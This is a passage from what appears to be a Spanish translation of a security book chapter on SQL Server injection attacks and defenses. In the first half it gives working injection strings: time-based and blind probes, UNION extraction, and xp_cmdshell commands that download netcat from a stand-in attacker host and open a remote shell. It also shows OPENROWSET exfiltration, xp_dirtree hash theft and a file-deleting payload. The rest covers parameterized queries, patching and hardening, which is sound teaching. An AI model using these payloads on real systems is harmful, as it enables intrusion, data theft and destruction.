indicar a SQL Server que haga una pausa de 10 segundo, más o menos, y de inmediato debe ser
obvio cuando una inyección ha tenido éxito. Por ejemplo, digamos que tenemos una página Web
que devuelve un resultado en menos de un segundo. Si luego enviamos una solicitud como ésta:
http://localhost/portal-
asp/EditMembers.asp?user_id=1%20waitfor%20delay%20’00:10:100’--
de pronto, la solicitud toma más de 10 segundos en completarse; es probable que la latencia

adicional se deba a que nuestro comando alcanzó al servidor de SQL, lo que obligó a una demo-
ra de 10 segundos en nuestra solicitud de acceso a datos. Por supuesto, puede establecer la de-
mora por periodos más largos (que serían necesarios para vínculos más lentos), pero tenga
presente que no quiere que la página deje de mostrarse porque se agotó el tiempo de espera;
trate de mantener la solicitud por debajo de los 30 segundos, porque es el tiempo que muchos
servidores Web colocan en solicitudes de páginas individuales.
Inyección ciega de SQL Además del análisis temporal, puede usarse un método llamado “inyec-
ción ciega de SQL” para descubrir y develar información. Este método se relaciona con el envío
de solicitudes binarias a SQL Server para que devuelva verdadero (el resultado apropiado) o fal-
so (otro resultado) a una pregunta específica. Por ejemplo, ¿qué pasa si queremos determinar si
la cuenta de usuario de SQL bajo la que se está ejecutando la aplicación tiene permisos dbo? Po-
dríamos utilizar un comando como éste:
http://localhost/portal-asp/EditMembers.asp?user_id=1%20and%20user_
name()='dbo'
09_SCAMBRAY_09.indd 297 7/28/08 9:14:42 PM

Si el usuario es un dbo, debemos ver la información para el usuario con un user_ID de 1

(como solicitamos). De otra manera, no se devuelven datos. Empleando este tipo de análisis ver-
dadero/falso, podemos determinar nombres de tabla y, con el tiempo, incluso enumerar datos
directamente desde la base de datos. Esto se realiza al plantear preguntas simples como “¿La a
es la primera letra del nombre de la tabla?” El análisis puede consumir mucho tiempo, pero es
muy efectivo.
Escáneres de aplicaciones Como podrá imaginar, el análisis de cada campo de todas las páginas
Web en busca de vulnerabilidades para inyección de SQL es una tarea monumental. Por fortuna,
se dispone de herramientas comerciales y gratuitas para ayudarle en esta prueba de vulnerabi-
lidades. En el lado comercial, pruebe WebInspect, de SPI Dynamics, Web Vulnerability Scanner,
de Acunetix y AppScan, de Watchfire, entre otros. Entre las soluciones no comerciales se inclu-
yen Paros Proxy, Achilles y WebScarab.
En el lado no comercial, Paros Proxy (figura 9-7) proporciona las capacidades más automa-
tizadas para detección de vulnerabilidades. Todo lo que necesita hacer es cargar la aplica-
ción, configurar su explorador para que señale al servidor proxy (Paros utiliza como opción
predeterminada el puerto TCP 8080 en el localhost) y conectarse al sitio Web de destino. Dentro
de Paros, puede hacer clic con el botón derecho en el servidor, y elegir Spider para enumerar
todas las páginas del sitio. Por último, al seleccionar Scan, hace que Paros rastree automática-
mente todo el sitio, en busca de diversas vulnerabilidades, incluidas inyección de SQL, Cross
Site Scripting y malas configuraciones del servidor Web. Por favor, tenga en cuenta que ninguna
de estas herramientas es un reemplazo del análisis manual, porque muchas vulnerabilidades no
se prestan por sí mismas a la detección automatizada.
Figura 9-7 Paros Proxy hace que el rastreo de seguridad de aplicaciones sea tan simple como
rastrear puertos
09_SCAMBRAY_09.indd 298 7/28/08 9:14:44 PM

Determine la estructura de SQL

Después de que un atacante ha identificado un posible destino, su siguiente paso es determi-
nar la estructura del comando SQL que probará para secuestrarlo. Al investigar los mensajes
de error o al aplicar el solo método de prueba y error, el atacante tratará de determinar el có-
digo SQL real detrás de la página. Por ejemplo, si un formulario de búsqueda regresó una lis-
ta de productos que contiene ID de producto, nombres, precios y una imagen, probablemente
el atacante irá a la segura si apuesta que el SQL detrás de la página podría ser algo como lo
siguiente:
SELECT idProducto, nombreProducto, precioProducto, urlProducto, FROM al-

gunatabla WHERE nombreProducto LIKE '%miCriterioBúsqueda%'
En este caso, el atacante está haciendo suposiciones basadas en conjuntos de datos devueltos. En
muchos casos, los desarrolladores traerán de vuelta de la base de datos un número mucho ma-
yor de campos de los que se despliegan o usarán sintaxis más compleja. En estos casos, se requie-
re mayor experiencia en programación en SQL, pero la diligencia con el tiempo dará una aproxi-
mación mayor al código tras la página. Por ejemplo, si el atacante tiene problemas para hacer
que el código inyectado se ejecute, podría estar contra una cadena SQL como la siguiente:
SELECT idProducto, nombreProducto, precioProducto, urlProducto, FROM al-

gunatabla WHERE (nombreProducto LIKE '%miCriterioBúsqueda%'
OR precioProducto <5)
AND marcaVentaProducto=1
El atacante debe cerrar el paréntesis o su ataque producirá un error de sintaxis desde SQL Ser-
ver. Por supuesto, una estrategia de inyección de SQL común consiste en usar el operador de
comando (--) para convertir en comentario el resto del código SQL. Sin embargo, no funcionará
en este caso, porque el paréntesis abierto ocurrirá antes de la inyección. La única solución real es
cerrar el paréntesis para que el comando SQL se ejecute apropiadamente.
Esto es sólo un ejemplo del desafío que los atacantes enfrentan cuando tratan de inyectar
código en aplicaciones SQL complejas. Por fortuna para los atacantes, casi ningún código SQL
es tan complejo, pero en ciertas situaciones, una buena comprensión de programación T-SQL es
absolutamente crítica para montar un ataque con éxito.
Construya e inyecte código SQL

Cuando el atacante tiene una idea de cuál podría ser el SQL tras la página, probablemente le
gustaría saber más acerca del inicio de sesión bajo el que se está ejecutando la aplicación y, tal
vez, la información de versión del servidor de SQL. Una manera de obtener esta información de
una aplicación existente es usar la palabra clave UNION para adjuntar un conjunto de resultados
al que ya está produciendo el código SQL existente. El atacante inyecta el siguiente código en el
campo de búsqueda:
Zz' UNION SELECT 1,(SELECT @@version),SUSER_SNAME(),1 --
Este código intenta primero hacer cortocircuito con el primer conjunto de resultados al buscar
dos z, y luego utilizar UNION para vaciar los resultados con los datos en que el hacker está inte-
resado.
09_SCAMBRAY_09.indd 299 7/28/08 9:14:44 PM

La selección de los 1 es necesaria para asegurar que el atacante coincide con el número de
columnas en el anterior conjunto de resultados. La característica más interesante de la inyección
de código es el doble guión al final. Como se definió previamente, es necesario para convertir en
comentario la comilla sencilla que podría estar incrustada en la aplicación, rodeando los datos
que el atacante introducirá. Si tiene éxito, ahora sabrá la versión de SQL Server y el estatus del
service pack, junto con la versión del sistema operativo y su correspondiente estatus del service
pack, además del inicio de sesión que está usando para ejecutar sus comandos.
Digamos que, en este caso, el inicio de sesión resulta ser sa (la cuenta de administrador del
sistema). Con privilegios de administrador del sistema, el atacante es libre de ejecutar cualquier
comando en el propio servidor de SQL. Los siguientes fragmentos de código inyectado coloca-
dos en el campo de entrada podrían hacer algo como lo siguiente (suponiendo que xp_cmd
shell está habilitado en SQL Server):
Zz' exec master…xp_cmdshell 'tftp –i hostmalvado.com GET netcat.exe'--
Y luego éste:
Zz' exec master…xp_cmdshell 'netcat –L-d-e comando.exe –p 53'--
En este punto, el atacante está usando el cliente TFTP incluido con Windows para traer la
práctica utilería netcat y obtener una shell remota (jaque mate). No es muy útil analizar más este
ataque, porque el atacante tiene la libertad de importar y ejecutar código en el equipo de destino,
además de acceder todos los datos en SQL Server.
Inyección de SQL avanzada

Popularidad: 10
Simplicidad: 7
Impacto: 9
En el ejemplo anterior se supuso que un atacante ganaba acceso con una cuenta de privile-
gios elevados en un servidor de SQL con xp_cmdshell extendido y los procedimientos almace-
nados habilitados. Debido a que los atacantes no siempre tienen tanta suerte, también deben
depender de técnicas más avanzadas que apoyen la capacidad incluso de las cuentas menos pri-
vilegiadas. Una vez que un atacante ha determinado un medio viable de ataque, es probable que
busque diversos objetivos posibles, y necesitamos estar conscientes de ellos. Con toda probabi-
lidad, un atacante estará tras algo de lo siguiente:
• Atacar con datos existentes en un intento de dañar la integridad de los activos

• Robar datos al regresar información a la página Web
• Robar datos mediante inyección ciega de SQL
• Robar datos mediante un túnel externo de datos
A continuación, revisaremos algunas herramientas y técnicas que pueden usarse en situacio-

nes de bajos privilegios donde los atacantes no siempre obtienen control total con una sola vul-
nerabilidad.
09_SCAMBRAY_09.indd 300 7/28/08 9:14:45 PM

Absinthe Para llenar la necesidad de presionar las explotaciones de inyección de SQL, nimmish
y Xeron crearán una herramienta llamada Absinthe (figura 9-8). Esta herramienta no busca vul-
nerabilidades de inyección de SQL; en cambio, explota una vulnerabilidad conocida para ex-
traer información de la base de datos. Hace esto mediante el uso de dos mecanismos: inyección
ciega de SQL y mensajes de error de SQL Server.
El método de inyección ciega de SQL envía varias solicitudes a la aplicación haciendo pre-
guntas binarias, sí/no de SQL Server, especialmente creadas para inyectar código SQL. Este mé-
todo puede llevar mucho tiempo, sobre todo si existe un vínculo lento entre el atacante y la
aplicación Web vulnerable. La ventaja principal de este método es que funcionará aunque
la aplicación suprima los mensajes de error.
Figura 9-8 Absinthe puede automatizar los ataques inyección de SQL y de robo de datos con base en
errores
09_SCAMBRAY_09.indd 301 7/28/08 9:14:46 PM

El método de mensajes de error de SQL Server funciona al usar código SQL especialmente
creado para imponer el despliegue de los datos en la herramienta a partir de un mensaje de
error. Esto suele lograrse al tomar una pieza de texto y tratar de convertirla en un entero. SQL
Server por lo general devuelve un mensaje de error como éste:
Error en la conversión cuando se convierte el valor varchar 'prueba' en

el tipo de datos int
Al repetir varias veces con nombres de tablas, nombres de campos y datos, la herramienta puede
derivar el contenido de una base de datos completa de la víctima.
No importa cuál método use, esta herramienta tomará mucho tiempo para extraer los da-
tos, lo que puede exponer al atacante a la detección, si se revisan de cerca los registros del
servidor Web. Sin embargo, la ventaja es que el atacante no necesita configurar ninguna infra-
estructura especial en el lado remoto para extraer datos de SQL Server. Debido a que, como mí-
nimo, casi todas las aplicaciones Web se ejecutan con selección de acceso a muchas tablas
de base de datos, esta herramienta puede ser muy efectiva para extraer los datos a través del
sitio Web.
BobCat Un método más eficiente, pero complejo, para extraer datos de un SQL Server remoto
consiste en usar OPENROWSET (aún es posible en SQL 2005, pero está deshabilitado como opción
predeterminada) para extraer datos de ubicaciones remotas. La funcionalidad OPENROWSET
permite a SQL Server conectarse a un origen remoto dentro del contexto de una consulta. Es una
función muy práctica que, por desgracia, puede tener consecuencias cuando cae en las manos
equivocadas. Considere la siguiente consulta:
insert into OPENROWSET('SQLOLEDB',

'uid=sa;pwd=h#a$c^k&;Network=DBMSSOCN;Address=hakersip,1433',
'select * from tablaremotacliente')
select * from tablacliente
Esta consulta selecciona datos de la tabla personalizada y los inserta (en la red) para el SQL
Server de un atacante. Este método es mucho más eficiente que tratar de obtener los datos de
carácter en carácter o de campo en campo, como lo hace la herramienta Absinthe. Sin embargo,
el efecto colateral es que requiere que el atacante instale y exponga un SQL Server a Internet o la
red local. Además, si el SQL Server de destino no tiene permitido establecer conexión saliente,
este ataque fallará.
BobCat (figura 9-9) es una herramienta que ayuda a automatizar el proceso de ensamblar los
comandos SQL apropiados para este ataque. Con base en una herramienta llamada Data Thief,
desarrollada originalmente por Cesar, pero desde que se retiró, BobCat fue desarrollado por nor-
thern-monkee como un puerto .NET de la herramienta Data Thief original.
Como puede ver, la herramienta solicita la ubicación del SQL Server del atacante y toda su
información de conexión. Si el SQL Server de destino permite las conexiones salientes, esta he-
rramienta puede descargar fácilmente todo el contenido de la base de datos en breve.
En caso de que una víctima observe el ataque e inspeccione la solicitud, tendría acceso al
SQL Server del atacante mientras permanezca conectado a Internet. Aunque la herramienta tie-
ne la cuenta sa como opción predeterminada, un atacante podría utilizar una cuenta de menores
privilegios con permisos DLL para crear tablas e insertar datos.
09_SCAMBRAY_09.indd 302 7/28/08 9:14:47 PM

Figura 9-9 BobCat puede absorber datos rápidamente del SQL Server de la víctima si permite las
conexiones salientes
Robo de credenciales de servicio de SQL Server con privilegios mínimos No suponga que únicamen-
te sólo porque un atacante puede obtener privilegios de usuario de SQL está a salvo. Conside-
re una aplicación que usa apropiadamente la menor cantidad de privilegios y que permite que
la aplicación se ejecute como una cuenta de usuario normal, y que sólo se le ha otorgado acceso
a un conjunto restringido de tablas, procedimientos almacenados, o ambos. Además de las posi-
bilidades obvias de robo de datos, un atacante también puede usar los procedimientos almace-
nados del sistema que están disponibles para la función pública, como xp_dirtree.
El procedimiento almacenado extendido xp_dirtree tiene una función aparentemente in-
ofensiva: crea un árbol de directorios de una ubicación en cualquier unidad de disco adjunta a la
que la cuenta del servicio SQL tiene acceso. Además de la amenaza obvia de develamiento de
información (en SQL 2005, no se devolverán datos, a menos que sea un sysadmin, pero el ser-
vidor aún tratará de conectarse, lo que lo volverá vulnerable), hace algo más que resulta intere-
sante: acepta una convención universal de asignación de nombres (UNC, Universal Naming
Convention). Una UNC le permite especificar otros hosts. Al usar un nombre especialmente
trabajado de UNC, es posible hacer una solicitud a un servidor remoto empleando una vulnera-
bilidad de inyección de SQL y forzarlo a conectarse de nuevo a otro sistemas en Internet (o la red
local).
He aquí un fragmento de ejemplo de código de inyección de SQL:
' exec xp_dirtree '\\ipAtacante\ciertorecurso'--
Si un atacante tiene un olfateador en la conexión de red (o si simplemente está ejecutan-

do una herramienta como Cain & Abel, que tiene integrados el olfateador y el descubridor de
09_SCAMBRAY_09.indd 303 7/28/08 9:14:48 PM

contraseñas) y el SQL Server de la víctima permite conexiones salientes, es muy posible que el
atacante pueda interceptar la solicitud de autentificación de SQL Server (tratando de conectarse
a UNC) y robar el hash.
“¿Cuán buena es una contraseña de la cuenta del servicio SQL Server?”, se podría preguntar.
Bueno, cuando instala SQL Server, se anima al usuario para que proporcione dos credenciales
fundamentales:
• El nombre de usuario y la contraseña para la cuenta del servicio SQL Server

• La contraseña de la cuenta sa (aunque se use autentificación de Windows)
Si la persona que instala es como todos los seres humanos, resulta probable que las contra-
señas sean las mismas. Además, también puede utilizarse la contraseña para cuentas de altos
privilegios dentro de la aplicación, IIS, o el propio sistema operativo. Por supuesto, si SQL Ser-
ver se está ejecutando como LocalSystem, el atacante no tendrá credenciales que robar (pero en-
tonces SQL Server se estará ejecutando con privilegios excesivos, de modo que un atacante
puede volver su atención para explotar ese hecho).
Contramedidas ante la inyección de SQL

Boletín de comercializador: NA
ID de bugtraq: NA
Corregido en SP: NA
Firma de registro: Y
Prepárese a recibir algunas noticias molestas. Si sus aplicaciones son susceptibles a inyección
de SQL, no hay corrección activa, service pack ni corrección rápida para protegerlo (excepto si
la aplicación tiene sus propias actualizaciones, como con los productos comerciales o de fuente
abierta). En cambio, debe depender de defensas como una buena arquitectura, procesos de de-
sarrollo y revisión de código. Aunque han empezado a surgir algunas herramientas que asegu-
ran que dejan fuera los problemas de inyección de SQL, ninguna de ellas puede igualar, hasta
ahora, el poder de un buen aseguramiento de calidad relacionado con la seguridad.
Sólo una técnica ayuda de manera confiable a combatir el problema de la inyección en la
capa de la aplicación: las consultas parametrizadas. Éstas definen claramente cuáles partes de
la consulta son variables y cuáles estáticas, con lo que elimina el código de construcción de ca-
dena que es muy susceptible al ataque. Aunque no es 100% efectivo para proteger contra inyec-
ción de SQL en todas las capas, aún es su mejor estrategia de defensa.
La inyección de SQL también puede manifestarse en un procedimiento almacenado que use las
Nota
instrucciones EXEC o sp_executeSQL, aunque se usen consultas parametrizadas, porque la
inyección ocurre en una capa diferente (la base de datos).
Para ver por qué es el único método confiable, echemos un vistazo a otros métodos que han
resultado útiles pero que no ofrecen protección completa:
• Reemplazo de cadenas
• Procedimientos almacenados
09_SCAMBRAY_09.indd 304 7/28/08 9:14:49 PM

El reemplazo de una comilla sencilla por una doble le indica a SQL Server que el carácter que
se está pasando es una cita literal. (Así es como puede colocarse en el campo Apellido a alguien
con apellido O’Reilly.) Para hacer esto en páginas de servidor activo (ASP, Active Server Pages),
puede usar el comando replace en VBScript, de la manera siguiente:
<%< variable = left(replace(cadenaentrada, ', ''),10)

%>
En apariencia, esto neutralizará a la inyección en el campo de texto de 10 caracteres. Sin embar-

go, esto puede caer en algunas situaciones. Por ejemplo, consideremos si la entrada fue
123456789’. Cuando se ejecuta la función replace, la comilla sencilla se normalizará a comi-
llas dobles, pero cuando el texto se trunque con la instrucción left, la vulnerabilidad se volverá a
manifestar.
El uso de procedimientos almacenados, al parecer, podría también ayudar a detener el flujo
de comandos SQL porque los comandos están precompilados. La falla más común de los proce-
dimientos almacenados para proteger aplicaciones es cuando se implementan utilizando técni-
cas de construcción de cadenas que eliminan su protección. Examine el siguiente fragmento de
código:
<%<Set Conn=
Server.CreateObject("ADODB.Connection")
Conn.open "dsn.miapl;Trusted_Connection=Yes"
Set Reporting Services = Conn.Execute("exec SNMP_LoginUser '" & request.
form("username") & "','"
& request.form("password") & "'"
%>
Aquí ve que, a pesar de que el desarrollador ha usado procedimientos almacenados, su imple-

mentación es mala porque la simple inyección de código en el campo de contraseña permitirá
fácilmente que la inyección ocurra. Si alguien inyecta lo siguiente en el campo de contraseña,
' exec master..xp_cmdshell 'del *.* /Q' --
SQL Server verá el siguiente código:
exec sp_LoginUser 'minombre', '' exec master..xp_cmdshell 'del *.* /Q' --'
Si, por supuesto, el lote de comandos es perfectamente legítimo, y si existen los permisos nece-
sarios, el usuario eliminará todos los archivos del directorio predeterminado (\winnt\Sys-
tem32).
Como siempre, la única implementación segura del procedimiento almacenado o cualquier
instrucción SQL es cuando se utilizan consultas parametrizadas. Con el siguiente ejemplo se
muestra cómo utilizar el procedimiento almacenado anterior de una manera segura (los mismos
métodos pueden utilizarse para las instrucciones SQL ad hoc):
<%<Set Conn= Server.CreateObject("adodb.Connection")

Conn.open Application("ConnectionString")
Set cmd = Server.CreateObject("ADODB.Command")
Set cmd.ActiveConnection = Conn
comando.CommandText = "sp_LoginUser"
09_SCAMBRAY_09.indd 305 7/28/08 9:14:50 PM

cmd.CommandType = 4
Set paraml = cmd.CreateParameter(«username», 200, 1,20,
request.form(«username»))
cmd.Parameters.Append param1
Set param2 = comando.CreateParameter(«password», 200, 1,20,
request.form(«password»))
cmd.Parameter.Append param2
Set rs = cmd.Execute
%>
Como puede ver, aunque fallemos en validar los campos de entrada antes de este punto, ahora
tenemos claramente definidos las diversas partes de nuestra consulta, incluidos el nombre del
procedimiento y cada uno de los parámetros. Como elemento adicional, los parámetros se com-
paran contra los tipos de datos y los datos de caracteres están delimitados por longitud. La in-
yección de código en este punto no permite alcanzar a SQL Server porque ahora ADO puede
construir por sí mismo el comando final, convirtiendo automáticamente las comillas sencillas en
dobles y compensando la longitud del campo.
Como advertencia final, no cometa el error de creer que sólo porque utiliza consultas para-
metrizadas su aplicación está completamente segura de la inyección de SQL. Ésta puede ocurrir
en otras capas de la aplicación (como dentro de un procedimiento almacenado que use las ins-
trucciones sp_executesql o EXEC), que podrían exponer a su aplicación aunque su código del
nivel más elevado utilice las mejores prácticas. A lo que aspiramos aquí es a utilizar el método
más seguro de acceso a datos en la capa de programación actual y a revisar todas las capas en
busca de errores de codificación.
ESTRATEGIAS DEFENSIVAS FUNDAMENTALES

Antes de discutir las mejores prácticas, analizamos algunas de las equivocaciones más críticas
que muchos usuarios y administradores de SQL Server cometen y la manera de evitar que se
conviertan en una víctima más. Al igual que lo descubrieron quienes cayeron presa del gusano
Slammer de SQL, dejar de instalar las correcciones más recientes o dejar expuestos puertos inne-
cesarios a Internet puede ser un error fatal. En esta sección se delinean las tareas principales que
deben emprenderse para cada instalación de SQL Server, sin importar cuál sea su propósito.
Descubrir todos los servidores de SQL en su red

Debido a que no puede asegurar lo que no conoce, es fundamental que descubra todas las ubi-
caciones en que hay servidores de SQL en su red. Es difícil localizar éstos por diferentes razones,
incluidas la creación de muchas instancias, asignación dinámica de puertos TCP, instalaciones
temporales en laptops y el hecho de que los clientes de SQL Server no siempre se están ejecutan-
do (o sólo se ejecutan cuando alguien los necesita).
A pesar de lo sombría que parece la situación, las soluciones se encuentran a la mano. Están
disponibles muchas herramientas, incluidas SQLPing, SQL Scan (de Microsoft), SQLRecon y va-
rias utilerías comerciales que pueden rastrear y determinar las ubicaciones de instancias de SQL
Server. Estas herramientas utilizan el servicio Explorador de SQL y otras técnicas para descubrir
servidores de SQL.
09_SCAMBRAY_09.indd 306 7/28/08 9:14:51 PM

Otro método que está disponible para los administradores es la consulta del administrador
del control del servicio en los hosts de red para conocer las instancias de SQL Server. Este méto-
do tiene la ventaja agregada de que no necesita que se esté ejecutando el servicio de SQL Server
en el momento (pero los equipos hosts deben estar en línea). A continuación se presenta un ejem-
plo de un archivo de procesamiento por lotes que puede usarse para dar salida a una lista de
todas las instancias de SQL Server en su red, se esté ejecutando o no el servicio SQL Server:
@@@echo off
net view|find "\\">lista.txt
for /f %i in (lista.txt) do secuencia de comandos %i query bufsize=
6000|find "MSSQL"
Por supuesto, estos métodos localizarán instancias sólo en hosts en ejecución. Otras herra-
mientas permiten que se tomen inventarios de software cuando las máquinas se inician. Necesi-
tará control administrativo sobre todas las máquinas de su entorno para hacer esto, pero es
probablemente la única manera de asegurar un inventario 100% exacto. Entre este tipo de herra-
mientas se encuentran Numara Track-IT, Microsoft Systems Management Server, Microsoft Soft-
ware Inventory Analyzer y OCSInventory.
Bloqueo de acceso a puertos de SQL Server desde clientes

no confiables
Una manera obvia de mantener lejos a los atacantes es simplemente poner el servidor tras una
firewall para conexiones directas que provienen de clientes que no son por completo confiables.
Aunque esto no hace mucho por defenderlo contra los ataques de inyección de SQL o ataques
donde sistemas supuestamente confiables están comprometidos, sí es una prudente primera lí-
nea de defensa. Los puertos obvios que se deben bloquear incluyen UDP 1434 y todos los puer-
tos TCP en que están escuchando instancias de SQL Server mediante una firewall personal o un
dispositivo de firewall.
La determinación de los puertos para todas las instancias de SQL Server puede requerir al-
guna investigación. Obviamente, el puerto predeterminado (TCP 1433) es un primer candidato,
pero los puertos para las otras instancias suelen asignarse al azar. Por esto, puede usar una
herramienta como SQLPing para determinar los puertos en escucha, o usar la Server Network
Utility incluida con SQL Server para establecer manualmente los puertos TCP. Por supuesto, la
mejor estrategia para cualquier firewall consiste en bloquear todo el tráfico de entrada y salida,
con excepción del que específicamente sea necesario.
Manténgase al día con los parches

Mantener actualizados los servidores de SQL ha resultado ser un gran desafío. Una de las prin-
cipales razones para esto es que la detección de parches de SQL no se incluye en Windows
Update hasta SQL Server 2005. Ahora que Windows Update finalmente soporta a SQL Server
2005, se espera que, con el tiempo, disminuya el número de instalaciones de escritorio de SQL
Server vulnerables. Sin embargo, si está utilizando una versión anterior a 2005, puede detectar e
instalar parches en forma manual.
Además de Windows Update, los parches de SQL Server 2005 pueden desplegarse automáti-
camente empleando la opción Windows Software Update Service (WSUS) de distribución gratui-
ta por parte de Microsoft. Es simple configurar todo un dominio de equipos (empleando Directiva
09_SCAMBRAY_09.indd 307 7/28/08 9:14:51 PM

de grupo) para obtener sus actualizaciones desde un servidor de WSUS y obtener automática-
mente parches de Windows, MS Office, SQL Server 2005 y una multitud de otros parches median-
te un proceso aprobado en Web. Las instrucciones para hacer eso se incluyen con el software.
Puede determinar si su SQL Server está o no actualizado al ver la página de propiedades
del servidor de su instancia de SQL Server en Management Studio o utilizar la siguiente ins-
trucción T-SQL:
select @@version
go
Luego debe comparar esa información de versión con el número de versión del último Service
Pack o la última corrección de SQL Server. Debido a que Microsoft no publica la información de la
versión más reciente en una página Web de referencia, han surgido varios recursos de la comuni-
dad para llevar registro de la información de versión de SQL Server, como www.sqlsecurity.com.
Una vez que haya determinado que su instancia de SQL Server no está actualizada, debe
ir al sitio Web de Microsoft para descargar el service pack o la corrección más actualizada para
hacer un parche completo. Necesita asegurar que tiene instalado el service pack más reciente an-
tes de aplicar cualquier corrección. Tenga en cuenta que, antes de SQL Server 2005, había service
packs separados para SQL Server, MSDE y Analysis Services, y debe descargarlos y aplicarlos por
separado. Además, debe aplicar los service packs por separado para cada instancia (de modo que
si tiene tres instancias de SQL Server en el equipo, necesita instalar el service pack tres veces, cada
una especificando una instancia diferente). SQL Server 2005 ha mejorado mucho este proceso,
permitiendo un service pack unificado que puede parchar muchas instancias simultáneamente.
Una vez que haya instalado el service pack más reciente, necesita obtener la última correc-
ción. Las correcciones de SQL Server son acumulativas, de modo que sólo necesita obtener la úl-
tima para hacer un parche completo. Desde SQL Server 2005, los service pack y las correcciones
de SQL Server se incluyen con Windows Update, lo que simplifica enormemente el proceso sobre
versiones anteriores. Los administradores pueden tener aún más control al implementar WSUS
en sus redes para asegurar que los parches salgan sólo después de un proceso de prueba.
Una vez que haya instalado la corrección más reciente, necesita reiniciar SQL Server y validar
que su información de versión coincida con la de la versión más reciente de SQL Server. Si todo
esto le parece mucho trabajo, es porque lo es. Resulta poco probable que los administradores de
sistemas ocupados (y mucho menos los desarrolladores o usuarios) vayan a mantener sus instan-
cias de SQL Server actualizadas sin excesiva persuasión. Una vez dicho esto, herramientas como
HFNetChkPro de Shavlik (www.shavlik.com) pueden detectar y aplicar remotamente service
packs y correcciones de SQL Server, de modo que cuenta con ayuda. Haga lo que pueda ahora
para poner los procesos necesarios en su lugar y mantener parchado SQL Server (se necesita una
gran cantidad de esfuerzo, pero las consecuencias de no hacerlo son mucho peores).
Asignación de una contraseña sólida a la cuenta sa

No importa cuál modo de autentificación de SQL Server elija, es fundamental que asigne una
contraseña sólida a la cuenta sa. Esta cuenta representa a un miembro de la función más pode-
rosa de SQL Server y es un manjar para los ataques de fuerza bruta. Necesita establecer la con-
traseña de sa aun para servidores SQL en modo de autentificación de Windows, en caso de que
alguna vez se cambie el modo (no querrá que su servidor quede inmediatamente expuesto).
La contraseña de la cuenta sa puede cambiarse fácilmente utilizando SQL Server Manage-
ment Studio o ejecutando la siguiente secuencia de comandos de T-SQL, que establece la contra-
seña de la cuenta sa en un valor razonablemente largo y aleatorio:
09_SCAMBRAY_09.indd 308 7/28/08 9:14:52 PM

DECLARE @pass char(72)

SELECT @pass=convert(char(36),newid())+convert(char(36),newid())
EXECUTE master..sp_password null,@pass,'sa'
GO
Use el modo de autentificación de Windows siempre que sea posible

El uso del modo de autentificación de Windows en SQL Server evita los ataques de fuerza bruta
en el modelo de seguridad nativo más débil de SQL Server. Aunque SQL Server 2005 no incluye
características más avanzadas como complejidad de contraseñas, contraseñas perecederas y blo-
queos, las capacidades de Kerberos (como delegación restringida) de Windows aún proporcio-
nan un entorno de autentificación más robusto. El modo de autentificación de Windows debe
utilizarse como opción predeterminada en cualquier nueva instalación, y el modo de seguridad
debe cambiar sólo si la aplicación lo exige más adelante.
Puede establecer el modo de autentificación para SQL Server empleando Management Stu-
dio o mediante comandos de T-SQL. La secuencia de comandos de T-SQL para establecer el
modo de autentificación en Windows en cualquier instancia de SQL Server es la siguiente (debe
ser un administrador de sistema):
IF (charindex('\',@@SERVERNAME)=0)
EXECUTE master.dbo.xp_regwrite
N'HKEY_LOCAL_MACHINE',N'Software\Microsoft\MSSQLServer\MSSQLServer',N'Log
inMode'
,N'REG_DWORD',1
ELSE
BEGIN
DECLARE @RegistryPath varchar(200)
SET @RegistryPath = 'Software\Microsoft\Microsoft SQL Server\'
+ RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME)) + '\
MSSQLServer'
EXECUTE master..xp_regwrite 'HKEY_LOCAL_MACHINE',@RegistryPath,
N'LoginMode',N'REG_DWORD',1
END
GO
MEJORES PRÁCTICAS ADICIONALES PARA

LA SEGURIDAD DE SQL SERVER
Para asegurar sus instalaciones de SQL Server de todo tipo (SQL Server o Express Edition), ne-
cesitará implementar un conjunto de mejores prácticas y asegurar que los administradores y de-
sarrolladores se adhieran a ellas. Es bienvenido si desea usar estas prácticas para poner en prác-
tica una política de seguridad. Sin embargo, tenga en cuenta que una buena política no es nada
sin una ejecución sólida. Asegúrese de que los administradores y desarrolladores se hagan res-
ponsables y que la falla en adherirse a los estándares dará como resultado duras penas.
Consideración del uso de generación de código para capas de acceso a datos Muchas guerras de fue-
go en Internet se relacionan con los beneficios (o falta de ellos) de usar tecnologías de generación
09_SCAMBRAY_09.indd 309 7/28/08 9:14:53 PM

de código para crear aplicaciones. Un generador de código es, en esencia, un programa que per-
mite a un desarrollador describir una aplicación en metadatos o que, al dirigirla a una base de
datos, deja que construya niveles de código más elevados automáticamente.
Sin enfrascarse mucho en un debate acerca de si es práctico desarrollar aplicaciones comple-
tas empleando esta técnica, podemos decir que las generaciones de código tienen una ventaja
obvia sobre el código generado a mano: codifican de manera consistente. Si un generador de có-
digo emite sólo consultas parametrizadas y nunca coloca parámetros no válidos en una cadena
SQL, entonces puede estar seguro de que no lo “olvidará” un día y codificará una vulnerabili-
dad en la aplicación.
Los buenos generadores de código producen código consistente. Sin embargo, los malos ge-
neradores de código producen código consistentemente malo. Asegúrese de elegir sus herramien-
tas con cuidado si decide seguir este camino, porque la herramienta errónea podría torpedear
toda su aplicación. Cuando evalúe una herramienta de generación de código, pruebe la genera-
ción de algunas de las aplicaciones de ejemplo y luego realice un análisis automatizado del sitio
utilizando una herramienta como Paros. Aún necesitará realizar un análisis manual a profundi-
dad para estar seguro, pero ésta es una manera rápida de excluir malos generadores de código.
Rastree de manera regular las aplicaciones en busca de vulnerabilidades de seguridad A intervalos regu-
lares, debe descargar la edición más reciente de cualquier herramienta de prueba de seguridad de
aplicaciones que use (como Paros) y realizar un rastreo completo de su aplicación. Asegúrese
de mantener estos informes en archivo en caso de que surja cualquier pregunta, como cuándo se
ejecutó el informe. Tenga en cuenta que las herramientas de rastreo de aplicaciones no son la pana-
cea, pero puede apostar a que si encuentran vulnerabilidades, un atacante puede hacer lo mismo.
Son una manera muy económica de exponer problemas obvios que deben mitigarse de inmediato.
Proteja físicamente servidores y archivos Si alguien puede obtener acceso físico a su servidor de
SQL, puede emplear una gran cantidad de técnicas para acceder a sus datos. Tómese el tiempo
de proteger el servidor físico, además de cualquier copia de seguridad de sus bases de datos. Si
una persona maliciosa (un exempleado, por ejemplo) supiera cuándo y dónde dejó las viejas cin-
tas de copia de seguridad, podría recuperarlas y reorganizar sus bases de datos para sus propias
instalaciones de SQL Server. Hágase un favor y guarde las cintas en una caja fuerte o trátelas de
la misma manera en que lo hace con los documentos confidenciales que desecha (o incinérelas).
Proteja los servidores y clientes Web conectados a SQL Server Un escenario de compromiso común
